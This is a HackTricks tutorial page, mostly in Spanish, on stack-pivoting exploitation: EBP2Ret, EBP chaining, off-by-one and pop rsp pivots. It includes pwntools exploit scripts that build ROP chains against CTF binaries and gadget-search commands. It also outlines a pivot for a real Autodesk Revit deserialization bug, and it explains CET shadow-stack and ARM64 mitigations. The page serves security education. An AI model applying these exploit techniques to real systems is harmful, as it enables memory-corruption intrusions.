Stack Pivoting - EBP2Ret - EBP chaining

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información Básica

Esta técnica explota la capacidad de manipular el Puntero Base (EBP/RBP) para encadenar la ejecución de múltiples funciones mediante el uso cuidadoso del puntero de marco y la secuencia de instrucciones leave; ret.

Como recordatorio, en x86/x86-64 leave equivale a:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

Y como el EBP/RBP guardado está en la stack antes del EIP/RIP guardado, es posible controlarlo controlando la stack.

Notas

  • On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
  • Some compilers omit the frame pointer (see “EBP might not be used”). In that case, leave might not appear and this technique won’t work.

EBP2Ret

Esta técnica es particularmente útil cuando puedes alterar el EBP/RBP guardado pero no tienes una forma directa de cambiar EIP/RIP. Aprovecha el comportamiento del epílogo de la función.

Si, durante la ejecución de fvuln, logras inyectar un EBP falso en la stack que apunte a un área de memoria donde está la dirección de tu shellcode/cadena ROP (más 8 bytes en amd64 / 4 bytes en x86 para tener en cuenta el pop), puedes controlar indirectamente RIP. A medida que la función retorna, leave establece RSP en la ubicación manipulada y el pop rbp posterior decrementa RSP, efectivamente haciendo que apunte a una dirección puesta allí por el atacante. Entonces ret usará esa dirección.

Fíjate que necesitas conocer 2 direcciones: la dirección a la que va a apuntar ESP/RSP, y el valor almacenado en esa dirección que ret consumirá.

Exploit Construction

Primero necesitas conocer una dirección donde puedas escribir datos/direcciones arbitrarias. RSP apuntará aquí y consumirá el primer ret.

Luego, debes elegir la dirección usada por ret que transferirá la ejecución. Podrías usar:

  • A valid ONE_GADGET address.
  • The address of system() followed by the appropriate return and arguments (on x86: ret target = &system, then 4 junk bytes, then &"/bin/sh").
  • The address of a jmp esp; gadget (ret2esp) followed by inline shellcode.
  • A ROP chain staged in writable memory.

Recuerda que antes de cualquiera de estas direcciones en el área controlada, debe haber espacio para el pop ebp/rbp del leave (8B en amd64, 4B en x86). Puedes abusar de estos bytes para poner un segundo EBP falso y mantener el control después de que la primera llamada retorne.

Off-By-One Exploit

Hay una variante usada cuando solo puedes modificar el byte menos significativo del EBP/RBP guardado. En tal caso, la ubicación de memoria que almacena la dirección a la que saltará con ret debe compartir los primeros tres/cinco bytes con el EBP/RBP original para que una sobrescritura de 1 byte pueda redirigirla. Normalmente el byte bajo (offset 0x00) se incrementa para saltar lo más lejos posible dentro de una página/región alineada cercana.

También es común usar un RET sled en la stack y colocar la cadena ROP real al final para hacer más probable que el nuevo RSP apunte dentro del sled y se ejecute la cadena ROP final.

EBP Chaining

Colocando una dirección controlada en el slot de EBP guardado de la stack y un gadget leave; ret en EIP/RIP, es posible mover ESP/RSP a una dirección controlada por el atacante.

Ahora RSP está controlado y la siguiente instrucción es ret. Coloca en la memoria controlada algo como:

  • &(next fake EBP) -> Cargado por pop ebp/rbp del leave.
  • &system() -> Llamado por ret.
  • &(leave;ret) -> Después de que system termine, mueve RSP al siguiente EBP falso y continúa.
  • &("/bin/sh") -> Argumento para system.

De este modo es posible encadenar varios EBP falsos para controlar el flujo del programa.

Esto es como un ret2lib, pero más complejo y solo útil en casos límite.

Además, aquí tienes un example of a challenge que usa esta técnica con un stack leak para llamar a una función ganadora. Este es el payload final de la página:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

consejo de alineación amd64: System V ABI requiere una alineación de pila de 16 bytes en los puntos de llamada. Si tu chain llama a funciones como system, añade un gadget de alineación (p. ej., ret, o sub rsp, 8 ; ret) antes de la llamada para mantener la alineación y evitar fallos por movaps.

EBP podría no ser usado

Como explained in this post, si un binario se compila con ciertas optimizaciones o con frame-pointer omission, los EBP/RBP nunca controlan ESP/RSP. Por lo tanto, cualquier exploit que funcione controlando EBP/RBP fallará porque el prologue/epilogue no restaura desde el frame pointer.

  • No optimizado / frame pointer usado:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimizado / puntero de marco omitido:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

En amd64 a menudo verás pop rbp ; ret en lugar de leave ; ret, pero si el frame pointer se omite por completo entonces no hay un epílogo basado en rbp por el que pivotar.

Otras formas de controlar RSP

pop rsp gadget

In this page puedes encontrar un ejemplo que usa esta técnica. Para ese desafío fue necesario llamar a una función con 2 argumentos específicos, y había un pop rsp gadget y existe un leak from the stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Consulta la técnica ret2esp aquí:

Ret2esp / Ret2reg

Encontrar pivot gadgets rápidamente

Usa tu gadget finder favorito para buscar pivot primitives clásicas:

  • leave ; ret en funciones o en librerías
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (o add esp, <imm> ; ret en x86)

Ejemplos:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Patrón clásico de pivot staging

Una estrategia de pivot robusta usada en muchos CTFs/exploits:

  1. Usa un pequeño overflow inicial para llamar a read/recv hacia una región grande y escribible (p. ej., .bss, heap, or mapped RW memory) y coloca allí una ROP chain completa.
  2. Retorna a un pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) para mover RSP a esa región.
  3. Continúa con la cadena en etapas (p. ej., leak libc, llamar a mprotect, luego read shellcode, y después saltar a él).

Windows: Destructor-loop weird-machine pivots (estudio de caso: Revit RFA)

Los parsers del lado del cliente a veces implementan bucles de destructores que llaman indirectamente a un puntero a función derivado de campos de objetos controlados por el atacante. Si cada iteración ofrece exactamente una llamada indirecta (una máquina “one-gadget”), puedes convertir esto en un stack pivot fiable y en la entrada ROP.

Observado en la deserialización de Autodesk Revit RFA (CVE-2025-5037):

  • Objetos forjados de tipo AString colocan un puntero a bytes controlados por el atacante en el offset 0.
  • El bucle de destructores ejecuta efectivamente un gadget por objeto:
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Dos pivotes prácticos:

  • Windows 10 (32-bit heap addrs): un “monster gadget” desalineado que contiene 8B E0 → mov esp, eax, eventualmente ret, para pivotar desde el call primitive hacia un heap-based ROP chain.
  • Windows 11 (full 64-bit addrs): usar dos objetos para orquestar un constrained weird-machine pivot:
    • Gadget 1: push rax ; pop rbp ; ret (mover el rax original a rbp)
    • Gadget 2: leave ; ... ; ret (se convierte en mov rsp, rbp ; pop rbp ; ret), pivotando hacia el buffer del primer objeto, donde sigue una ROP chain convencional.

Consejos para Windows x64 después del pivot:

  • Respeta el 0x20-byte shadow space y mantén la alineación de 16 bytes antes de los sitios call. A menudo es conveniente colocar literales por encima de la dirección de retorno y usar un gadget como lea rcx, [rsp+0x20] ; call rax seguido de pop rax ; ret para pasar direcciones de pila sin corromper el flujo de control.
  • Módulos helper sin ASLR (si están presentes) proporcionan pools de gadgets estables e imports como LoadLibraryW/GetProcAddress para resolver dinámicamente objetivos como ucrtbase!system.
  • Crear gadgets faltantes vía un writable thunk: si una secuencia prometedora termina en un call a través de un writable function pointer (p. ej., DLL import thunk o function pointer en .data), sobreescribe ese pointer con un benign single-step como pop rax ; ret. La secuencia entonces se comporta como si terminara con ret (p. ej., mov rdx, rsi ; mov rcx, rdi ; ret), lo cual es invaluable para cargar los registros de argumentos de Windows x64 sin destruir otros.

Para la construcción completa de la cadena y ejemplos de gadgets, ver la referencia abajo.

Modern mitigations that break stack pivoting (CET/Shadow Stack)

Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK). With SHSTK enabled, ret compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first ret is executed from a pivoted stack.

  • For background and deeper details see:

CET & Shadow Stack

  • Comprobaciones rápidas en Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec

  • Notas para labs/CTF:

  • Algunas distros modernas habilitan SHSTK para binarios compatibles con CET cuando el hardware y glibc lo soportan. Para pruebas controladas en VMs, SHSTK puede deshabilitarse a nivel del sistema mediante el parámetro de arranque del kernel nousershstk, o habilitarse selectivamente vía tunables de glibc durante el inicio (ver referencias). No deshabilites mitigaciones en objetivos de producción.

  • Técnicas basadas en JOP/COOP o SROP pueden seguir siendo viables en algunos objetivos, pero SHSTK específicamente rompe los pivotes basados en ret.

  • Nota Windows: Windows 10+ expone user-mode y Windows 11 añade kernel-mode “Hardware-enforced Stack Protection” basado en shadow stacks. Los procesos compatibles con CET previenen stack pivoting/ROP en ret; los desarrolladores se inscriben mediante CETCOMPAT y políticas relacionadas (ver referencia).

ARM64

En ARM64, los prólogos y epílogos de las funciones no almacenan ni recuperan el registro SP en la pila. Además, la instrucción RET no vuelve a la dirección apuntada por SP, sino a la dirección dentro de x30.

Por lo tanto, por defecto, simplemente abusando del epílogo no podrás controlar el registro SP sobrescribiendo algunos datos en la pila. E incluso si logras controlar el SP aún necesitarías una forma de controlar el registro x30.

  • prologue
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Caution

La manera de realizar algo similar a stack pivoting en ARM64 sería poder controlar el SP (controlando algún registro cuyo valor se asigne a SP o porque por alguna razón SP toma su dirección desde la pila y tenemos un overflow) y luego abusar del epílogo para cargar el registro x30 desde un SP controlado y hacer RET hacia él.

También en la página siguiente puedes ver el equivalente de Ret2esp en ARM64:

Ret2esp / Ret2reg

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks